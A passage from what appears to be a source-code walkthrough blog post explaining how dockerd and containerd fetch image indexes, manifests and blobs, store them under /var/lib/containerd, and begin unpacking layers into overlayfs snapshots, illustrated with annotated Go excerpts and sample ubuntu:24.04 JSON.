        for i, host := range hosts {
            // [...]
            resp, err := req.doWithRetries(ctx, i == len(hosts)-1)
            if dgst == "" {
                dgstHeader := digest.Digest(resp.Header.Get("Docker-Content-Digest")) // [15]
                dgst = dgstHeader
            }
            // [...]
            desc := ocispec.Descriptor{ // [16], for ubuntu:24.04
                Digest:    dgst,        // "sha256:c4a8d5503dfb2a3eb8ab5f807da5bc69a85730fb49b5cfca2330194ebcc41c7b"
                MediaType: contentType, // "application/vnd.oci.image.index.v1+json"
                Size:      size,        // 6688
            }
            return ref, desc, nil
        }
    }
}

Now we know how dockerd handles the response if the registry server returns 401, and what the first request looks like when you are pulling a image.

The flow is as follows:

1.3. GET Image Index

Once we get the first descriptor, we can start to fetch the raw data from the registry server.

The fetching pipeline is built in two layers: handlers and decorators. A handler works as a hook function [1], and a handler may have several decorators. For example childrenHandler has at most five decorators [2], all chained together into the final handler.

When images.Dispatch() [3] is called, the handlers are invoked following the sequence of registration.

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    name, desc, err := rCtx.Resolver.Resolve(ctx, ref)
    // returned desc = { Digest: sha256:c4a8...1c7b, MediaType: , Size: N }
    // [...]
    
    // ============ fetching pipeline ============
    store := c.ContentStore()
    // [...]
    fetcher, err := rCtx.Resolver.Fetcher(ctx, name)
    // [...]
    childrenHandler := images.ChildrenHandler(store)
    
    // [...]
    // [2]
    childrenHandler = images.SetReferrers(rCtx.ReferrersProvider, childrenHandler)
    childrenHandler = images.SetChildrenMappedLabels(store, childrenHandler, rCtx.ChildLabelMap)
    childrenHandler = remotes.FilterManifestByPlatformHandler(childrenHandler, rCtx.PlatformMatcher)
    childrenHandler = images.FilterPlatforms(childrenHandler, rCtx.PlatformMatcher)
    childrenHandler = images.LimitManifests(childrenHandler, rCtx.PlatformMatcher, limit)

    // [...]
    convertibleHandler := images.HandlerFunc(
        func(_ context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
            if desc.MediaType == docker.LegacyConfigMediaType {
                isConvertible = true
            }

            return []ocispec.Descriptor{}, nil
        },
    )

    // [...]
    appendDistSrcLabelHandler, err := docker.AppendDistributionSourceLabel(store, ref)

    // [...]
    handlers := append( // [1]
        rCtx.BaseHandlers,
        remotes.FetchHandler(store, fetcher),
        convertibleHandler,
        childrenHandler,
        appendDistSrcLabelHandler,
    )
    handler = images.Handlers(handlers...)
    
    // [...]
    if err := images.Dispatch(ctx, handler, limiter, desc); err != nil { // [3]
        // [...]
    }
    // [...]
}

Dispatch() calls handler.Handle() to walk through the chained handlers and invoke them [4]. If the composed handler returns more descriptors, Dispatch() is called recursively [5].

// vendor/github.com/containerd/containerd/v2/core/images/handlers.go
func Dispatch(ctx context.Context, handler Handler, limiter *semaphore.Weighted, descs ...ocispec.Descriptor) error {
    for _, desc := range descs {
        eg.Go(func() error {
            desc := desc
            // [...]
            // .Handle() is defined in vendor/github.com/containerd/containerd/v2/core/images/handlers.go
            children, err := handler.Handle(ctx2, desc) // [4]
            // [...]
            if len(children) > 0 {
                return Dispatch(ctx2, handler, limiter, children...) // [5]
            }
        })
    }
}

The flow is like:

We first analyze FetchHandler(), the handler that fetches data from the remote. The call flow ends up at Fetch() in fetcher.go [6].

// vendor/github.com/containerd/containerd/v2/core/remotes/handlers.go
func FetchHandler(ingester content.Ingester, fetcher Fetcher) images.HandlerFunc {
    return func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        // [...]
        err := Fetch(ctx, ingester, fetcher, desc) // <--------
        // [...]
    }
}

func Fetch(ctx context.Context, ingester content.Ingester, fetcher Fetcher, desc ocispec.Descriptor) error {
    // [...]
    rc, err := fetcher.Fetch(ctx, desc) // [6]
    // [...]
    return content.Copy(ctx, cw, rc, desc.Size, desc.Digest)
}

This function calls r.open() to fetch image data from three sources: external URLs [7], the "manifests" endpoint [8] if the type is index or manifest, and the "blob" endpoint [9] for the rest of the types.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/fetcher.go
func (r dockerFetcher) Fetch(ctx context.Context, desc ocispec.Descriptor) (io.ReadCloser, error) {
    // [...]
    return newHTTPReadSeeker(desc.Size, func(offset int64) (io.ReadCloser, error) {
        // [7] firstly try fetch via external urls
        for _, us := range desc.URLs {
            // [...]
            rc, _, err := r.open(ctx, req, desc.MediaType, offset, false)
        }

        // [8] Try manifests endpoints for manifests types
        if images.IsManifestType(desc.MediaType) || images.IsIndexType(desc.MediaType) {
            for i, host := range r.hosts {
                req := r.request(host, http.MethodGet, "manifests", desc.Digest.String())
                //[...]
                //[...]
                rc, _, err := r.open(ctx, req, desc.MediaType, offset, i == len(r.hosts)-1)
            }

            return nil, firstErr
        }

        //[9] Finally use blobs endpoints
        for i, host := range r.hosts {
            req := r.request(host, http.MethodGet, "blobs", desc.Digest.String())
            // [...]
            rc, _, err := r.open(ctx, req, desc.MediaType, offset, i == len(r.hosts)-1)
            // [...]
        }

        // [...]
    })
}

open() calls req.doWithRetries(), which is the function that authenticates and sends the request.

func (r dockerFetcher) open(ctx context.Context, req *request, mediatype string, offset int64, lastHost bool) (_ io.ReadCloser, _ int64, retErr error) {
    // [...]
    resp, err := req.doWithRetries(ctx, lastHost, withErrorCheck, withOffsetCheck(offset, parallelism))
    // [...]
}

If you’re curious about what the response data looks like, you can find out in the next section.

1.4. Download Manifest & Blob

The next handler is ChildrenHandler(), and its job is to parse the returned JSON data.

If the descriptor type is a manifest, it expects the JSON to be unmarshalled into ocispec.Manifest structure [1], and turns the Config and Layers fields to descriptors [2]; if the type is an index, the data is unmarshalled to ocispec.Index structure [3], and the Manifests field is extracted and returned as descriptors [4].

// vendor/github.com/containerd/containerd/v2/core/images/handlers.go
func ChildrenHandler(provider content.Provider) HandlerFunc {
    return func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        return Children(ctx, provider, desc) // <--------
    }
}

// vendor/github.com/containerd/containerd/v2/core/images/image.go
func Children(ctx context.Context, provider content.Provider, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
    if IsManifestType(desc.MediaType) {
        // [...]
        p, err := content.ReadBlob(ctx, provider, desc)
        var manifest ocispec.Manifest // [1]
        if err := json.Unmarshal(p, &manifest); err != nil {
            // [...]
        }
        // [...]
        return append([]ocispec.Descriptor{manifest.Config}, manifest.Layers...), nil // [2]

    } else if IsIndexType(desc.MediaType) {
        // [...]
        p, err := content.ReadBlob(ctx, provider, desc)
        var index ocispec.Index
        if err := json.Unmarshal(p, &index); err != nil { // [3]
            return nil, err
        }
        // [...]
        return append([]ocispec.Descriptor{}, index.Manifests...), nil // [4]
    }
}

These structures with ocispec prefix are defined in the opencontainers repository, and they are based on OCI (Open Container Initiative), a set of open standards that define how containers and container images should be formatted and run so that tools from different vendors can interoperate.

// vendor/github.com/opencontainers/image-spec/specs-go/v1/index.go
type Index struct {
    specs.Versioned
    MediaType string `json:"mediaType,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
    Manifests []Descriptor `json:"manifests"`
    Subject *Descriptor `json:"subject,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
}

// vendor/github.com/opencontainers/image-spec/specs-go/v1/manifest.go
type Manifest struct {
    specs.Versioned
    MediaType string `json:"mediaType,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
    Config Descriptor `json:"config"`
    Layers []Descriptor `json:"layers"`
    Subject *Descriptor `json:"subject,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
}

Other handlers or decorations are not so much complicated and important — for example, they filter out useless descriptors, only keep the image matching the host architecture — so we skip them here.

One thing is worth to mentioning: you may notice there are two entries for the amd64 image in the index JSON. Actually, only the first one is the real image data (cdb…eff). The second one is the attestation (01a…169) of the first entry, which is signed metadata that makes a verifiable claim about an artifact.

{
    "manifests": [
        {
            "annotations": {
                "com.docker.official-images.bashbrew.arch": "amd64",
                "org.opencontainers.image.base.name": "scratch",
                "org.opencontainers.image.created": "2026-04-10T00:00:00Z",
                "org.opencontainers.image.revision": "a17a2429ff85ab773e86c558a75ae62053ef9936",
                "org.opencontainers.image.source": "https://git.launchpad.net/cloud-images/+oci/ubuntu-base",
                "org.opencontainers.image.url": "https://hub.docker.com/_/ubuntu",
                "org.opencontainers.image.version": "24.04"
            },
            "digest": "sha256:cdb5fd928fced577cfecf12c8966e830fcdf42ee481fb0b91904eeddc2fe5eff",
            "mediaType": "application/vnd.oci.image.manifest.v1+json",
            "platform": {
                "architecture": "amd64",
                "os": "linux"
            },
            "size": 424
        },
        {
            "annotations": {
                "com.docker.official-images.bashbrew.arch": "amd64",
                "vnd.docker.reference.digest": "sha256:cdb5fd928fced577cfecf12c8966e830fcdf42ee481fb0b91904eeddc2fe5eff",
                "vnd.docker.reference.type": "attestation-manifest"
            },
            "digest": "sha256:01a14a568a5c77390e74eefc7a2106206f4605338cb7e86e8bf06a18452b5169",
            "mediaType": "application/vnd.oci.image.manifest.v1+json",
            "platform": {
                "architecture": "unknown",
                "os": "unknown"
            },
            "size": 562
        }
        ...
    ]
}

The attestation blob is a pretty large JSON file, and I have no idea about how it’s generated and how to use it 😆. I’ll just leave part of the content below.

{"_type":"https://in-toto.io/Statement/v0.1","predicateType":"https://spdx.dev/Document","subject":[],"predicate":{"spdxVersion":"SPDX-2.3","dataLicense":"CC0-1.0","SPDXID":"SPDXRef-DOCUMENT","name":"sbom","documentNamespace":"https://docker.com/docker-scout/fs/sbom-6b8f300a-23d8-42b3-9f97-0882a7efe944","creationInfo":{"creators":["Organization: Docker, Inc","Tool: docker-scout-1.18.1","Tool: buildkit-0.16.0-tianon"],"created":"2026-04-15T20:02:39Z"},"packages":[{"name":"sbom","SPDXID":"SPDXRef-DocumentRoot","supplier":"NOASSERTION","downloadLocation":"NOASSERTION","filesAnalyzed":false,"licenseConcluded":"NOASSERTION","licenseDeclared":"NOASSERTION","primaryPackagePurpose":"FILE"},{"name":"acl","SPDXID":"SPDXRef-Package-45b9051d819bf7a6bd6a86b0eba5bc45","versionInfo":"2.3.2-1build1.1","supplier":"Person: Ubuntu Developers \\u003cubuntu-devel-discuss@lists.ubuntu.com\\u003e","originator":"Person: Ubuntu Developers \\u003cubuntu-devel-discuss@lists.ubuntu.com\\u003e","downloadLocation":"NOASSERTION","filesAnalyzed":true,"licenseConcluded":"NOASSERTION","licenseDeclared":"GPL-2.0-only OR GPL-2.0-or-later OR LGPL-2.0-or-later OR LGPL-2.1-only","description":"access control list - shared library\n This package contains the shared library containing the POSIX 1003.1e\n draft standard 17 functions for manipulating access control lists.","externalRefs":[{"referenceCategory":"PACKAGE-MANAGER","referenceType":"purl","referenceLocator":"pkg:deb/ubuntu/acl@2.3.2-1build1.1?os_distro=noble\u0026os_name=ubuntu\u0026os_version=24.04"}]} ...] ...} ...}

1.5. Save The File

Now we know the download flow, but when is the data saved into the filesystem?

After fetching the data, content.Copy() is called [1] with the writer cw, the data size desc.Size, and the hash desc.Digest.

// vendor/github.com/containerd/containerd/v2/core/remotes/handlers.go
func Fetch(ctx context.Context, ingester content.Ingester, fetcher Fetcher, desc ocispec.Descriptor) error {
    // [...]
    cw, err := content.OpenWriter(ctx, ingester, content.WithRef(MakeRefKey(ctx, desc)), content.WithDescriptor(desc))
    // [...]
    rc, err := fetcher.Fetch(ctx, desc)
    // [...]
    return content.Copy(ctx, cw, rc, desc.Size, desc.Digest) // [1]
}

The writer object is allocated by OpenWriter(), which eventually returns a remoteWriter object [2] with a client backed by a TTRPC stream to containerd.

// vendor/github.com/containerd/containerd/v2/core/content/helpers.go
func OpenWriter(ctx context.Context, cs Ingester, opts ...WriterOpt) (Writer, error) {
    var (
        cw    Writer
        err   error
        retry = 16
    )
    for {
        cw, err = cs.Writer(ctx, opts...) // <--------
        // [...]
    }
    // [...]
}

// vendor/github.com/containerd/containerd/v2/core/content/proxy/content_store.go
func (pcs *proxyContentStore) Writer(ctx context.Context, opts ...content.WriterOpt) (content.Writer, error) {
    // [...]
    wrclient, offset, err := pcs.negotiate(ctx, wOpts.Ref, wOpts.Desc.Size, wOpts.Desc.Digest)
    // [...]
    return &remoteWriter{ // [2]
        ref:    wOpts.Ref,
        client: wrclient,
        offset: offset,
    }, nil
}

Copy() writes file by calling copyWithBuffer() and saves file by calling cw.Commit(). Both functions send the request with data content to containerd. Take copyWithBuffer() as an example: it sends action WriteAction_WRITE with data attached [3] in the end.

// vendor/github.com/containerd/containerd/v2/core/content/helpers.go
func Copy(ctx context.Context, cw Writer, or io.Reader, size int64, expected digest.Digest, opts ...Opt) error {
    // [...]
    copied, err := copyWithBuffer(cw, r) // <--------
    // [...]
    if err := cw.Commit(ctx, size, expected, opts...); err != nil {
        // [...]
    }
}

func copyWithBuffer(dst io.Writer, src io.Reader) (written int64, err error) {
    // [...]
    for {
        nr, er := io.ReadAtLeast(src, buf, len(buf)) // read from src
        if nr > 0 {
            nw, ew := dst.Write(buf[0:nr])  // <-------- write to dst
            // [...]
        }
    }
}

// vendor/github.com/containerd/containerd/v2/core/content/proxy/content_writer.go
func (rw *remoteWriter) Write(p []byte) (n int, err error) {
    const maxBufferSize = defaults.DefaultMaxSendMsgSize >> 1
    for data := range slices.Chunk(p, maxBufferSize) {
        offset := rw.offset

        resp, err := rw.send(&contentapi.WriteContentRequest{
            Action: contentapi.WriteAction_WRITE, // [3]
            Offset: offset,
            Data:   data,
        })
        // [...]
    }
    return n, nil
}

On the containerd side, the content server’s Write() handles both WRITE and COMMIT actions. If the request is a COMMIT action, wr.Commit() is called [4] to save data into the filesystem.

// vendor/github.com/containerd/containerd/v2/plugins/services/content/contentserver/contentserver.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterContentServer(server, s) // <--------
    return nil
}

// vendor/github.com/containerd/containerd/api/services/content/v1/content_grpc.pb.go
func RegisterContentServer(s grpc.ServiceRegistrar, srv ContentServer) {
    s.RegisterService(&Content_ServiceDesc, srv) // <--------
}

var Content_ServiceDesc = grpc.ServiceDesc{
    // [...]
    Streams: []grpc.StreamDesc{
        // [...]
        {
            StreamName:    "Write",
            Handler:       _Content_Write_Handler, // <--------
            ServerStreams: true,
            ClientStreams: true,
        },
    },
    // [...]
}

func _Content_Write_Handler(srv interface{}, stream grpc.ServerStream) error {
    return srv.(ContentServer).Write(&contentWriteServer{stream}) // <--------
}

// vendor/github.com/containerd/containerd/v2/plugins/services/content/contentserver/contentserver.go
func (s *service) Write(session api.Content_WriteServer) (err error) {
    // [...]
    wr, err := s.store.Writer(ctx,
        content.WithRef(ref),
        content.WithDescriptor(ocispec.Descriptor{Size: total, Digest: expected}))
    // [...]
    for {
        msg.Action = req.Action
        switch req.Action {
        // [...]
        case api.WriteAction_WRITE, api.WriteAction_COMMIT:
            // [...]
            if req.Action == api.WriteAction_COMMIT {
                // [...]
                if err := wr.Commit(ctx, total, expected, opts...); err != nil { // [4]
                    // [...]
                }
            }
        // [...]
        }
    }
}

The data being written is kept in a temporary file in the "ingest/" directory, and when receiving a COMMIT action, Commit() renames it to the destination path [5], which is inside the "blobs/" directory.

// vendor/github.com/containerd/containerd/v2/plugins/content/local/writer.go
func (w *writer) Commit(ctx context.Context, size int64, expected digest.Digest, opts ...content.Opt) error {
    // [...]
    dgst := w.digester.Digest()
    // [...]
    var (
        ingest    = filepath.Join(w.path, "data") // ingest//data
        target, _ = w.s.blobPath(dgst)            // blobs/sha256/
    )
    // [...]
    if err := os.Rename(ingest, target); err != nil { // [5]
        // [...]
    }
    // [...]
}

The writer object (w) decides the root directory in which to save the file, and it is initialized in writer() [6].

// vendor/github.com/containerd/containerd/v2/plugins/content/local/store.go
func (s *store) Writer(ctx context.Context, opts ...content.WriterOpt) (content.Writer, error) {
    // [...]
    w, err := s.writer(ctx, wOpts.Ref, wOpts.Desc.Size, wOpts.Desc.Digest) // <--------
    // [...]
    return w, nil
}

func (s *store) writer(ctx context.Context, ref string, total int64, expected digest.Digest) (content.Writer, error) {
    // [...]
    path, refp, data := s.ingestPaths(ref)
    // [...]
    return &writer{ // [6]
        // [...]
        ref:       ref,
        path:      path,
        // [...]
    }, nil
}

To get the full path, we have to look at the containerd source code.

containerd decouples functionalities into different plugin objects. A plugin’s init() function defines its ID and initialization callback. Here, the ID of the content plugin is "content" [7], and its callback function internally sets the root directory property as its store root [8].

// plugins/content/local/plugin/plugin.go
func init() {
    registry.Register(&plugin.Registration{
        Type: plugins.ContentPlugin,
        ID:   "content", // [7]
        InitFn: func(ic *plugin.InitContext) (any, error) {
            root := ic.Properties[plugins.PropertyRootDir]
            ic.Meta.Exports["root"] = root
            return local.NewStore(root) // <--------
        },
    })
}

// vendor/github.com/containerd/containerd/v2/plugins/content/local/store.go
func NewStore(root string) (content.Store, error) {
    return NewLabeledStore(root, nil) // <--------
}

func NewLabeledStore(root string, ls LabelStore) (content.Store, error) {
    // [...]
    s := &store{
        root:               root, // [8]
        // [...]
    }
    // [...]
}

So where is plugins.PropertyRootDir defined? When starting the containerd daemon, New() iterates through the loaded plugins [9]. It further creates a context for each plugin object and sets plugins.PropertyRootDir [10]. By default, config.Root is set to /var/lib/containerd, and id is from the URL() function.

// cmd/containerd/server/server.go
func New(ctx context.Context, config *srvconfig.Config) (*Server, error) {
    // [...]
    loaded, err := LoadPlugins(ctx, config)
    // [...]
    for _, p := range loaded { // [9]
        id := p.URI()
        // [...]
        initContext := plugin.NewContext(
            ctx,
            initialized,
            map[string]string{
                plugins.PropertyRootDir:      filepath.Join(config.Root, id), // [10]
                // [...]
            },
        )
        // [...]
    }
}

// defaults/defaults_unix.go
const (
    // [...]
    DefaultRootDir = "/var/lib/containerd"
    // [...]
)

URL() concatenates the plugin’s type string, which is "io.containerd.content.v1" here, and its ID, which is "content" here. So finally, we know those image files are stored inside the directory /var/lib/containerd/io.containerd.content.v1.content.

// vendor/github.com/containerd/plugin/plugin.go
func (r *Registration) URI() string {
    // r.Type.String() == "io.containerd.content.v1"
    // r.ID
    return r.Type.String() + "." + r.ID
}

// plugins/types.go
const (
    // [...]
    ContentPlugin plugin.Type = "io.containerd.content.v1"
    // [...]
)

List the directory and you’ll find the image blobs.

root@aaa:~# ls -al /var/lib/containerd/io.containerd.content.v1.content/
total 16
drwxr-xr-x  4 root root 4096 May 27 11:47 .
drwx------ 13 root root 4096 Apr  9 14:51 ..
drwxr-xr-x  3 root root 4096 Apr  9 14:51 blobs
drwxr-xr-x  2 root root 4096 May 28 10:49 ingest

2. Unpack an Image

2.1. dockerd side

The unpacker is used as a wrapper of chained image handlers [1], so it is triggered before handles run. When triggered, the unpacker.Unpack() is called [2].

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) Pull(ctx context.Context, ref string, opts ...RemoteOpt) (_ Image, retErr error) {
    if pullCtx.Unpack {
        // [...]
        unpacker, err = unpack.NewUnpacker(ctx, c.ContentStore(), uopts...)
        // [...]
        pullCtx.HandlerWrapper = func(h images.Handler) images.Handler {
            // [...]
            return unpacker.Unpack(h) // [2]
        }
    }
    // [...]
    img, err := c.fetch(ctx, pullCtx, ref, 1)
    // [...]
}

func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    handler = images.Handlers(handlers...)
    // [...]
    
    if rCtx.HandlerWrapper != nil {
        handler = rCtx.HandlerWrapper(handler) // [1]
    }

    if err := images.Dispatch(ctx, handler, limiter, desc); err != nil {
        // [...]
    }
    // [...]
}

After the handlers finish, Unpack() gets the sub-descriptors [3]. If the descriptor is a manifest [4], it splits sub-descriptors to two types: layer and non-layer. Later, the layer list is assigned to the non-layer sub-descriptor [5].

For a config descriptor, the layers are retrieved and unpacked [6].

One thing that should be mentioned is that the returned children of a manifest descriptor only contain non-layer sub-descriptors [7], so these layers are not downloaded until u.unpack() is called.

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) Unpack(h images.Handler) images.Handler {
    // [...]
    return images.HandlerFunc(func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        // [...]
        children, err := h.Handle(ctx, desc) // [3]
        // [...]
        if images.IsManifestType(desc.MediaType) { // [4]
            for i, child := range children {
                // [...]
                if images.IsLayerType(child.MediaType) || layerTypes[child.MediaType] {
                    manifestLayers = append(manifestLayers, child)
                } else {
                    nonLayers = append(nonLayers, child)
                }
            }

            for _, nl := range nonLayers {
                layers[nl.Digest] = manifestLayers // [5]
            }
            children = nonLayers // [7]

        } else if images.IsConfigType(desc.MediaType) || configTypes[desc.MediaType] {
            // "application/vnd.docker.container.image.v1+json" or "application/vnd.oci.image.config.v1+json"
            // [...]
            l := layers[desc.Digest]
            // [...]
            if len(l) > 0 {
                u.eg.Go(func() error {
                    return u.unpack(h, desc, l) // [6]
                })
            }
        }
    })
}

We take one of the manifest data from pulling a Ubuntu:24.04 image as an example. When getting the JSON response below, unpack() gets two sub-descriptors: a config and a layer, so children will be like [config, layer1, ... (if any)]. It first assigns layers[0b1...b27] = [b40...081 (layer sub-descriptor)] [5], and the next round the config descriptor is processed and layers[0b1...b27] is unpacked [6].

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.oci.image.manifest.v1+json",
    "config": {
        "mediaType": "application/vnd.oci.image.config.v1+json",
        "size": 2051,
        "digest": "sha256:0b1ebe5dd42682bb8eda97ecf10a09f70f18d2d4af35f82b9271badac5dbeb27"
    },
    "layers": [
        {
            "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
            "size": 29732978,
            "digest": "sha256:b40150c1c2717d324cdb17278c8efdfa4dfcd2ffe083e976f0bcedf31115f081"
        }
    ]
}

unpack() first unmarshals the config descriptor into i [8] and later calls u.fetch() [9] to download the layer data. After it’s downloaded, a.Apply() is called to unpack the compressed layer [10].

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) unpack(
    h images.Handler,
    config ocispec.Descriptor,
    layers []ocispec.Descriptor,
) error {
    // [...]
    p, err := content.ReadBlob(ctx, u.content, config)
    // [...]
    var i unpackConfig
    if err := json.Unmarshal(p, &i); err != nil { // [8]
        // [...]
    }
    // [...]
    topHalf := func(i int, desc ocispec.Descriptor, span *tracing.Span, startAt time.Time) (<-chan *unpackStatus, error) {
        key = fmt.Sprintf(snapshots.UnpackKeyFormat, uniquePart(), chainID)
        mounts, err = sn.Prepare(ctx, key, parent, opts...) // call s.createSnapshot() -> mounts := s.buildMounts()
        // [...]
        go func(i int) {
            err := u.fetch(ctx, h, layers[i:], fetchC) // [9]
        }(i)
        // [...]
        diff, err := a.Apply(ctx, desc, mounts, unpack.ApplyOpts...) // [10]
        // [...]
    }
    // [...]
    for i, desc := range layers {
        // [...]
        statusCh, err := topHalf(i, desc, layerSpan, unpackLayerStart)
        // [...]
    }
    // [...]
}

The config is represented as the unpackConfig structure.

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
type unpackConfig struct {
    ocispec.Platform
    RootFS ocispec.RootFS `json:"rootfs"`
}

The config JSON blob looks like:

{
  "architecture": "amd64",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/bash"
    ],
    "Image": "sha256:337382923f7584f260a9a67e7625aaf9d42c24784c6e92731c29fa3912ae5c47",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {
      "org.opencontainers.image.version": "24.04"
    }
  },
  "container": "824f27add47a9b8b83f4296fcbd9772627dd3ab13c39c889306a30cd4e2e1fc1",
  "container_config": {
    "Hostname": "824f27add47a",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "#(nop) ",
      "CMD [\"/bin/bash\"]"
    ],
    "Image": "sha256:337382923f7584f260a9a67e7625aaf9d42c24784c6e92731c29fa3912ae5c47",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": {
      "org.opencontainers.image.version": "24.04"
    }
  },
  "created": "2026-04-10T06:49:18.133477895Z",
  "docker_version": "26.1.3",
  "history": [
    {
      "created": "2026-04-10T06:49:15.45210454Z",
      "created_by": "/bin/sh -c #(nop)  ARG RELEASE",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:15.493474875Z",
      "created_by": "/bin/sh -c #(nop)  ARG LAUNCHPAD_BUILD_ARCH",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:15.521658623Z",
      "created_by": "/bin/sh -c #(nop)  LABEL org.opencontainers.image.version=24.04",
      "empty_layer": true
    },
    {
      "created": "2026-04-10T06:49:17.706887224Z",
      "created_by": "/bin/sh -c #(nop) ADD file:8ce1caf246e7c778bca84c516d02fd4e83766bb2c530a0fffa8a351b560a2728 in / "
    },
    {
      "created": "2026-04-10T06:49:18.133477895Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/bash\"]",
      "empty_layer": true
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:538812a4b9bd45adaac2b5e5b967daa6999aa44eb110aa32ae7c69702b906475"
    ]
  }
}

fetch() calls h.Handle(ctx2, desc) with the layer’s descriptor [11], which calls chained handler, including the download handler — .FetchHandler().

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) fetch(ctx context.Context, h images.Handler, layers []ocispec.Descriptor, done []chan struct{}) error {
    eg.Go(func() error {
        for i, desc := range layers {
            // [...]
            _, err = h.Handle(ctx2, desc) // [11]
            // [...]
        }
    })
}

Apply() sends an apply request to containerd [12] with the layer descriptor.

// vendor/github.com/containerd/containerd/v2/core/diff/proxy/differ.go
func (r *diffRemote) Apply(ctx context.Context, desc ocispec.Descriptor, mounts []mount.Mount, opts ...diff.ApplyOpt) (ocispec.Descriptor, error) {
    // [...]
    req := &diffapi.ApplyRequest{
        Diff:     oci.DescriptorToProto(desc),
        Mounts:   mount.ToProto(mounts),
        Payloads: payloads,
        SyncFs:   config.SyncFs,
    }
    // [...]
    resp, err := r.client.Apply(ctx, req) // <--------
    // [...]
}

// vendor/github.com/containerd/containerd/api/services/diff/v1/diff_grpc.pb.go
func (c *diffClient) Apply(ctx context.Context, in *ApplyRequest, opts ...grpc.CallOption) (*ApplyResponse, error) {
    out := new(ApplyResponse)
    err := c.cc.Invoke(ctx, "/containerd.services.diff.v1.Diff/Apply", in, out, opts...) // [12]
    // [...]
}

By now we know that the unpack operations are performed by containerd, not dockerd.

2.2. Create A Snapshot

Before delving into the unpacking implementation of containerd, let’s take a look at the snapshot mechanism.

A snapshot is a saved state of a filesystem layer, and it also defines how to mount these layers.

In unpack(), sn.Prepare() is called to create a snapshot [1].

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) unpack(
    h images.Handler,
    config ocispec.Descriptor,
    layers []ocispec.Descriptor,
) error {
    // [...]
    topHalf := func(i int, desc ocispec.Descriptor, span *tracing.Span, startAt time.Time) (<-chan *unpackStatus, error) {
        // [...]
        var (
            key    string
            mounts []mount.Mount
            opts   = append(unpack.SnapshotOpts, snapshots.WithLabels(snapshotLabels))
        )
        // [...]
        key = fmt.Sprintf(snapshots.UnpackKeyFormat, uniquePart(), chainID)
        mounts, err = sn.Prepare(ctx, key, parent, opts...) // [1]
        // [...]
    }
}

Snapshot preparation ends up sending a PrepareSnapshotRequest [2] request to containerd.

// vendor/github.com/containerd/containerd/v2/core/snapshots/proxy/proxy.go
func (p *proxySnapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    // [...]
    resp, err := p.client.Prepare(ctx, &snapshotsapi.PrepareSnapshotRequest{ // [2]
        Snapshotter: p.snapshotterName, // by default "overlayfs"
        Key:         key,
        Parent:      parent,
        Labels:      local.Labels,
    })
    // [...]
    return mount.FromProto(resp.Mounts), nil
}

containerd’s handler internally creates snapshot-related files and directories [3], and then calls o.mounts(s, info) to generate overlayfs mounting options [4].

// plugins/services/snapshots/service.go
// from _Snapshots_Prepare_Handler()
func (s *service) Prepare(ctx context.Context, pr *snapshotsapi.PrepareSnapshotRequest) (*snapshotsapi.PrepareSnapshotResponse, error) {
    // [...]
    sn, err := s.getSnapshotter(pr.Snapshotter) // "overlayfs"
    // [...]
    mounts, err := sn.Prepare(ctx, pr.Key, pr.Parent, opts...) // <--------
    // [...]
    return &snapshotsapi.PrepareSnapshotResponse{
        Mounts: mount.ToProto(mounts),
    }, nil
}

// core/metadata/snapshot.go
func (s *snapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    mounts, err := s.createSnapshot(ctx, key, parent, false, opts) // <--------
    // [...]
    return mounts, nil
}

func (s *snapshotter) createSnapshot(ctx context.Context, key, parent string, readonly bool, opts []snapshots.Opt) ([]mount.Mount, error) {
    // [...]
    m, err = s.Snapshotter.Prepare(ctx, bkey, bparent, bopts...) // <--------
    // [...]
}

// plugins/snapshots/overlay/overlay.go
func (o *snapshotter) Prepare(ctx context.Context, key, parent string, opts ...snapshots.Opt) ([]mount.Mount, error) {
    return o.createSnapshot(ctx, snapshots.KindActive, key, parent, opts) // <--------
}

// plugins/snapshots/overlay/overlay.go
